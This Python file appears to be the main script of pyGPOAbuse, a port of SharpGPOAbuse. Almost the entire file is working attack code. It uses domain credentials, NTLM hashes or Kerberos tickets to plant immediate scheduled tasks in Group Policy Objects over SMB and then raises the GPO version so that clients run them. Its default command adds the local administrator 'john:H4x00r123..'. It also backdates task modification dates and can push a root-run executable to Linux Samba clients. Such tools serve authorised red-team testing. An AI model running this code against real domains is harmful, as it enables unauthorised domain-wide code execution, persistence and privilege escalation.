#!/usr/bin/env python3 """ This tool is a partial python implementation of SharpGPOAbuse https://github.com/FSecureLABS/SharpGPOAbuse All credit goes to @pkb1s for his research, especially regarding gPCMachineExtensionNames Also thanks to @airman604 for schtask_now.py that was used and modified in this project https://github.com/airman604/schtask_now """ import argparse import asyncio import logging import sys from urllib.parse import quote from impacket.smbconnection import SMBConnection from impacket.examples.utils import parse_credentials from pygpoabuse import logger from pygpoabuse.gpo import GPO from pygpoabuse.ldap import find_gpo_id_by_name from pygpoabuse.linux_startup import LinuxStartupAbuse def main(): parser = argparse.ArgumentParser(add_help=True, description="Add ScheduledTask to GPO") parser.add_argument('target', action='store', help='domain/username[:password]') gpo_group = parser.add_mutually_exclusive_group(required=True) gpo_group.add_argument('-gpo-id', action='store', metavar='GPO_ID', help='Target GPO by its GUID (e.g. 31B2F340-016D-11D2-945F-00C04FB984F9)') gpo_group.add_argument('-gpo-name', action='store', metavar='GPO_NAME', help='Target GPO by its display name (resolved via LDAP)') parser.add_argument('-user', action='store_true', help='Set user GPO (Default: False, Computer GPO)') parser.add_argument('-user-as-admin', action='store_true', help='Set user GPO but run as SYSTEM (Default: False, Computer GPO)') parser.add_argument('-taskname', action='store', help='Taskname to create. (Default: TASK_)') parser.add_argument('-mod-date', action='store', help='Task modification date (Default: 30 days before)') parser.add_argument('-hashes', action="store", metavar="LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') parser.add_argument('-description', action='store', help='Task description (Default: Empty)') parser.add_argument('--cleanup', action='store_true', help='Delete the Immediate-Task XML and roll back the GPO version') parser.add_argument('-powershell', action='store_true', help='Use Powershell for command execution') parser.add_argument('-command', action='store', help='Command to execute (Default: Add john:H4x00r123.. as local Administrator)') parser.add_argument('-k', action='store_true', help='Use Kerberos authentication. Grabs credentials from ccache file ' '(KRB5CCNAME) based on target parameters. If valid credentials ' 'cannot be found, it will use the ones specified in the command ' 'line') parser.add_argument('-dc-ip', action='store', help='Domain controller IP or hostname') parser.add_argument('-ldaps', action='store_true', help='Use LDAPS instead of LDAP') parser.add_argument('-ccache', action='store', help='ccache file name (must be in local directory)') parser.add_argument('-f', action='store_true', help='Force add ScheduleTask') parser.add_argument('-v', action='count', default=0, help='Verbosity level (-v or -vv)') filtered = parser.add_argument_group("Host/User targeting via filters (mirrors SharpGPOAbuse --FilterEnabled)") filtered.add_argument('-filter-enabled', action='store_true', help='Enable GPO Host/User targeting so the scheduled task only runs for a specific host/user') filtered.add_argument('-target-dns-name', action='store', default='', metavar='FQDN', help='Computer task: DNS/FQDN of the only host that should run the task (e.g. dc01.corp.local)') filtered.add_argument('-target-username', action='store', default='', metavar='DOMAIN\\USER', help='User task: only this user processes the task (format: DOMAIN\\username)') filtered.add_argument('-target-user-sid', action='store', default='', metavar='SID', help='User task: SID of the targeted user (optional, more robust matching)') linux = parser.add_argument_group("Linux (Samba AD) options") linux.add_argument("--linux-exec", metavar="/PATH/TO/EXEC", help="Upload this executable into the GPO and run it at boot on Linux clients (no shell).") linux.add_argument("--linux-args", default="", help="Arguments for the executable.") linux.add_argument("--linux-run-as", default="root", help="User to run as (default: root).") if len(sys.argv) == 1: parser.print_help() sys.exit(1) options = parser.parse_args() # Init the example's logger theme logger.init() if options.v == 1: logging.getLogger().setLevel(logging.INFO) elif options.v >= 2: logging.getLogger().setLevel(logging.DEBUG) else: logging.getLogger().setLevel(25) # SUCCESS level: show successes, warnings and errors _is_user_task = options.user or options.user_as_admin if options.filter_enabled: if _is_user_task: if not (options.target_username or options.target_user_sid): logging.error("-filter-enabled on a user task requires -target-username and/or -target-user-sid") sys.exit(1) else: if not options.target_dns_name: logging.error("-filter-enabled on a computer task requires -target-dns-name") sys.exit(1) elif options.target_dns_name or options.target_username or options.target_user_sid: logging.warning("Targeting option supplied without -filter-enabled; item-level targeting will NOT be applied") domain, username, password = parse_credentials(options.target) if options.dc_ip: dc_ip = options.dc_ip else: dc_ip = domain if domain == '': logging.critical('Domain should be specified!') sys.exit(1) lmhash, nthash = "", "" if password == '' and username != '' and options.hashes is None and options.k is False: from getpass import getpass password = getpass("Password:") elif options.hashes is not None: if ":" not in options.hashes: logging.error("Wrong hash format. Expecting lm:nt") sys.exit(1) if options.ldaps: protocol = 'ldaps' else: protocol = 'ldap' if options.k: if not options.ccache: logging.error('-ccache required (path of ccache file, must be in local directory)') sys.exit(1) url = '{}+kerberos-ccache://{}\\{}:{}@{}/?dc={}'.format(protocol, domain, username, quote(options.ccache, safe="".join(c for c in map(chr, range(33, 127)) if c not in '@#?/')), dc_ip, dc_ip) elif password != '': url = '{}+ntlm-password://{}\\{}:{}@{}'.format(protocol, domain, username, quote(password, safe="".join(c for c in map(chr, range(33, 127)) if c not in '@#?/')), dc_ip) lmhash, nthash = "", "" else: url = '{}+ntlm-nt://{}\\{}:{}@{}'.format(protocol, domain, username, quote(options.hashes.split(":")[1], safe="".join(c for c in map(chr, range(33, 127)) if c not in '@#?/')), dc_ip) lmhash, nthash = options.hashes.split(":") if options.gpo_name: logging.info(f"Resolving GPO name '{options.gpo_name}' via LDAP...") gpo_id = asyncio.run(find_gpo_id_by_name(url, domain, options.gpo_name)) if not gpo_id: logging.error(f"Could not find a GPO named '{options.gpo_name}'") sys.exit(1) logging.info(f"Resolved '{options.gpo_name}' → {gpo_id}") options.gpo_id = gpo_id try: smb_session = SMBConnection(dc_ip, dc_ip) if options.k: smb_session.kerberosLogin(user=username, password='', domain=domain, kdcHost=dc_ip) else: smb_session.login(username, password, domain, lmhash, nthash) except Exception as e: logging.error("SMB connection error", exc_info=True) sys.exit(1) try: gpo = GPO(smb_session) gpo_type = "user-as-admin" if options.user_as_admin else ("user" if options.user else "computer") if options.linux_exec: method = LinuxStartupAbuse( smb_session=smb_session, domain_fqdn=domain, gpo_guid=options.gpo_id, exec_local_path=options.linux_exec, exec_args=options.linux_args, run_as=options.linux_run_as, run_once=True ) method.run(cleanup=options.cleanup) try: files = smb_session.listPath("SYSVOL", method._startup_dir + "\\*") if any(f.get_longname() == method.script_name for f in files): print("[+] SUCCESS:root:executable '{}' created in {}".format( method.script_name, method._startup_dir)) else: logging.error("Upload failed: '{}' not found in {}".format( method.script_name, method._startup_dir)) except Exception as e: logging.error("Could not verify creation: {}".format(e)) sys.exit(0) if options.cleanup: ok = gpo.rollback_scheduled_task(domain=domain, gpo_id=options.gpo_id, gpo_type=gpo_type) if ok: logging.info("cleanup successful") sys.exit(0) else: logging.error("Error while cleaning up") sys.exit(1) task_name = gpo.update_scheduled_task( domain=domain, gpo_id=options.gpo_id, name=options.taskname, mod_date=options.mod_date, description=options.description, powershell=options.powershell, command=options.command, gpo_type=gpo_type, force=options.f, filter_enabled=options.filter_enabled, target_dns_name=options.target_dns_name, target_username=options.target_username, target_user_sid=options.target_user_sid ) if task_name: if gpo.update_versions(url, domain, options.gpo_id, gpo_type=gpo_type): logging.info("Version updated") else: logging.error("Error while updating versions") sys.exit(1) logging.success("ScheduledTask {} created!".format(task_name)) except Exception as e: logging.error("An error occurred. Use -vv for more details", exc_info=True)